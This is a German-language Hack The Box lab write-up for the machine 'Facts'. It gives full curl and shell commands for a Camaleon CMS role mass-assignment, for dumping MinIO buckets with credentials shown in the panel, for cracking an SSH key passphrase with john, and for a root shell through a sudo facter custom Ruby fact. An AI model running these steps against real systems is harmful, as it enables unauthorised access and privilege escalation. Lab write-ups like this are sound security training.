HTB · published
Facts
Hack The Box Season-10 Writeup zu Facts. Veröffentlichung folgt, sobald die Maschine retired ist.
Metadaten
- Name: Facts
- IP Address:
10.129.64.137 - Plattform: Linux
- Kategorie: Web / CMS / MinIO / Privilege Escalation
- Schwierigkeit: Easy
- Ziel(e): User, Root
- Kurzbeschreibung: Facts ist eine Linux-Maschine, bei der der erste Einstieg über eine Camaleon-CMS-Instanz läuft. Nach der Registrierung eines normalen Users lässt sich über eine unsaubere Profil-Update-Funktion die eigene Rolle auf
adminsetzen. Im Admin-Panel finden sich MinIO/S3-Zugangsdaten, mit denen interne Buckets ausgelesen werden können. Dort liegt ein verschlüsselter SSH-Key, dessen Passphrase gecrackt wird. Der Root-Zugriff gelingt anschließend über einesudo-Regel fürfacter.
Reconnaissance / Enumeration
Der initiale Scan zeigte drei offene Ports:
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
54321/tcp open unknown
Der Service-Scan machte die Richtung klarer:
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.9p1 Ubuntu 3ubuntu3.2
80/tcp open http nginx 1.26.3 (Ubuntu)
54321/tcp open http Golang net/http server
Port 80 leitete auf facts.htb um:
curl -i http://10.129.64.137/
curl -i http://facts.htb/
curl -sS -D- http://facts.htb/ -o /dev/null
Die Header wirkten stark nach Ruby on Rails:
HTTP/1.1 200 OK
Server: nginx/1.26.3 (Ubuntu)
Content-Type: text/html; charset=utf-8
set-cookie: _factsapp_session=...
x-request-id: ...
x-runtime: ...
whatweb bestätigte die Web-App und zeigte zusätzlich die Kontaktadresse:
whatweb http://facts.htb
http://facts.htb [200 OK] Cookies[_factsapp_session], Email[contact@facts.htb],
HTML5, HTTPServer[Ubuntu Linux][nginx/1.26.3 (Ubuntu)], Title[facts]
Eine Verzeichnis-Enumeration brachte einige interessante Pfade:
ffuf -u http://facts.htb/FUZZ \
-w /usr/share/wordlists/SecLists/Discovery/Web-Content/raft-medium-directories.txt \
-fc 404 -fs 0
search [Status: 200]
en [Status: 200]
page [Status: 200]
rss [Status: 200]
sitemap [Status: 200]
captcha [Status: 200]
post [Status: 200]
up [Status: 200]
robots [Status: 200]
Der Admin-Bereich war über /admin/login erreichbar:
for p in /camaleon_cms /camaleon_cms/admin /camaleon_cms/login /admin /admin/login /users/sign_in /login; do
echo "== $p =="
curl -sS -o /dev/null -w "%{http_code} %{redirect_url}\n" "http://facts.htb$p"
done
== /admin ==
302 http://facts.htb/admin/login
== /admin/login ==
200
Damit war die Anwendung als Camaleon CMS auf Rails identifiziert.
Enumeration von Port 54321
Port 54321 sprach HTTP und identifizierte sich über die Antworten als MinIO:
curl -i http://10.129.64.137:54321/
Aus dem Nmap-Fingerprint:
Server: MinIO
Content-Type: application/xml
<Error><Code>InvalidRequest</Code><Message>Invalid Request</Message></Error>
Ohne Zugangsdaten war hier zunächst nicht viel zu holen, aber der Service blieb wichtig für später.
Web Exploitation
Zuerst wurde ein normaler Account angelegt und anschließend per curl eingeloggt.
UA='Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0'
USER='obob'
PASS='obob1'
rm -f jar.txt
TOKEN=$(curl -sS -A "$UA" -c jar.txt http://facts.htb/admin/login \
| grep -oP 'name="authenticity_token" value="\K[^"]+')
curl -sS -A "$UA" -b jar.txt -c jar.txt -i \
--data-urlencode "authenticity_token=$TOKEN" \
--data-urlencode "user[username]=$USER" \
--data-urlencode "user[password]=$PASS" \
http://facts.htb/admin/login | sed -n '1,40p'
Der Login war erfolgreich und leitete ins Dashboard weiter:
HTTP/1.1 302 Found
location: http://facts.htb/admin/dashboard
Der Auth-Check bestätigte die Session:
curl -sS -A "$UA" -b jar.txt -o /dev/null -w "%{http_code}\n" \
http://facts.htb/admin/dashboard
200
Auf der Profilseite ließ sich die eigene User-ID auslesen:
HTML=$(curl -sS -A "$UA" -b jar.txt -c jar.txt http://facts.htb/admin/profile/edit)
LINE=$(echo "$HTML" | grep -oP '<input[^>]+id="user_id"[^>]*>')
ID=$(echo "$LINE" | grep -oP 'value="\K[0-9]+')
echo "ID=$ID"
ID=5
Beim Auslesen der Formularfelder fiel user[role] auf:
curl -sS -A "$UA" -b jar.txt http://facts.htb/admin/profile/edit \
| grep -oE 'name="[^"]+"' \
| sed 's/name="//;s/"$//' \
| sort -u
authenticity_token
_method
password[password]
password[password_confirmation]
user[email]
user[first_name]
user[id]
user[last_name]
user[role]
user[username]
Der entscheidende Punkt war die AJAX-Update-Route für das Profil. Über den Password-Update-Endpoint konnte zusätzlich ein Rollenfeld übergeben werden:
UA='Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0'
NEWPASS='Pwned123!!'
HTML=$(curl -sS -A "$UA" -b jar.txt http://facts.htb/admin/profile/edit | tr '\n' ' ')
PTOKEN=$(echo "$HTML" | grep -oP 'id="profie-form-ajax-password".*?name="authenticity_token" value="\K[^"]+')
PMETHOD=$(echo "$HTML" | grep -oP 'id="profie-form-ajax-password".*?name="_method" value="\K[^"]+')
curl -sS -A "$UA" -b jar.txt -c jar.txt -i \
-H "X-Requested-With: XMLHttpRequest" \
-H "Origin: http://facts.htb" \
-H "Referer: http://facts.htb/admin/profile/edit" \
--data-urlencode "_method=$PMETHOD" \
--data-urlencode "authenticity_token=$PTOKEN" \
--data-urlencode "password[role]=admin" \
--data-urlencode "password[password]=$NEWPASS" \
--data-urlencode "password[password_confirmation]=$NEWPASS" \
"http://facts.htb/admin/users/5/updated_ajax" | sed -n '1,80p'
Das Ergebnis war ein 200 OK. Danach war der eigene Account Admin.
Zur Kontrolle wurden die Admin-Routen enumeriert:
for p in /admin/dashboard /admin/users /admin/media /admin/themes /admin/plugins /admin/settings /admin/posts /admin/comments /admin/widgets /admin/appearance; do
code=$(curl -sS -A "$UA" -b jar.txt -o /dev/null -w "%{http_code}" "http://facts.htb$p")
echo "$code $p"
done
200 /admin/dashboard
200 /admin/users
200 /admin/media
200 /admin/plugins
200 /admin/comments
MinIO / S3 Enumeration
Im Admin-Panel fanden sich AWS-/S3-Zugangsdaten für den internen MinIO-Service:
AWS Access Key ID: AKIAE82896FD8F6EB7DE
AWS Secret Access Key: BI4CUaMFqpxJYGJMa/HRmBdGATgOHuRZsbexz+nT
Nach dem Eintragen der Zugangsdaten konnte MinIO über den lokalen Endpoint angesprochen werden:
aws configure
aws --endpoint-url http://facts.htb:54321 s3 ls
2025-09-11 14:06:52 internal
2025-09-11 14:06:52 randomfacts
Beide Buckets wurden lokal synchronisiert:
aws --endpoint-url http://facts.htb:54321 s3 sync s3://randomfacts ./randomfacts_dump
aws --endpoint-url http://facts.htb:54321 s3 sync s3://internal ./internal_dump
Im internal-Bucket lag eine .ssh-Struktur mit einem verschlüsselten privaten SSH-Key.
Foothold
Der private Key wurde mit ssh2john in ein John-kompatibles Format gebracht:
cd internal_dump/.ssh
ssh2john id_ed25519 > id_ed25519.john
john --wordlist=/usr/share/wordlists/rockyou.txt --rules --fork=4 id_ed25519.john
John fand die Passphrase:
dragonballz (id_ed25519)
Mit dem Key war SSH-Zugriff als trivia möglich:
ssh -i id_ed25519 trivia@facts.htb
Welcome to Ubuntu 25.04 (GNU/Linux 6.14.0-37-generic x86_64)
trivia@facts:~$
In /home gab es zwei Benutzer:
ls /home
trivia william
Die User-Flag lag im Home-Verzeichnis von william:
cat /home/william/user.txt
Privilege Escalation
Die sudo-Rechte von trivia waren der direkte Weg zu Root:
sudo -l
User trivia may run the following commands on facts:
(ALL) NOPASSWD: /usr/bin/facter
facter lädt Custom Facts aus Ruby-Dateien. Da facter per sudo als Root ausgeführt werden durfte, konnte über ein eigenes Ruby-Fact eine Root-Shell gestartet werden:
cat << 'EOF' > /tmp/pwn.rb
Facter.add(:pwn) do
setcode do
exec("/bin/bash")
end
end
EOF
Anschließend wurde facter mit dem eigenen Custom-Directory gestartet:
sudo /usr/bin/facter --custom-dir /tmp
Das Ergebnis:
root@facts:/tmp# whoami
root
Root-Flag:
cat /root/root.txt
923b79[REDACTED-ROOT-FLAG]fe3f1371
Post-Exploitation
- User: SSH-Zugriff als
triviaüber verschlüsselten Key aus MinIO. - User-Flag: Zugriff auf
/home/william/user.txt. - Root:
sudo /usr/bin/facter --custom-dir /tmpmit eigener Ruby-Datei. - Root-Flag:
/root/root.txt.
Lessons Learned
- Mass Assignment prüfen: Wenn Profil- oder AJAX-Update-Routen flexible Parameter akzeptieren, lohnt sich ein genauer Blick auf versteckte Felder wie
role. - Admin-Panels gründlich absuchen: Der wichtigste Pivot kam über Credentials, die erst nach der Rechteausweitung sichtbar wurden.
- MinIO wie S3 behandeln: Mit passenden Zugangsdaten funktionieren die normalen
aws s3-Workflows auch gegen MinIO-Endpoints. - Sudo-Regeln nicht unterschätzen:
facterwirkt harmlos, kann aber über Custom Ruby Facts Code ausführen.
Notizen
Ein Rabbit Hole war das Testen verschiedener Profil-Update-Parameter. user[role]=admin war naheliegend, aber der funktionierende Parameter lag im Password-Form-Kontext:
--data-urlencode "password[role]=admin"
Das war der entscheidende Aha-Moment im Web-Teil.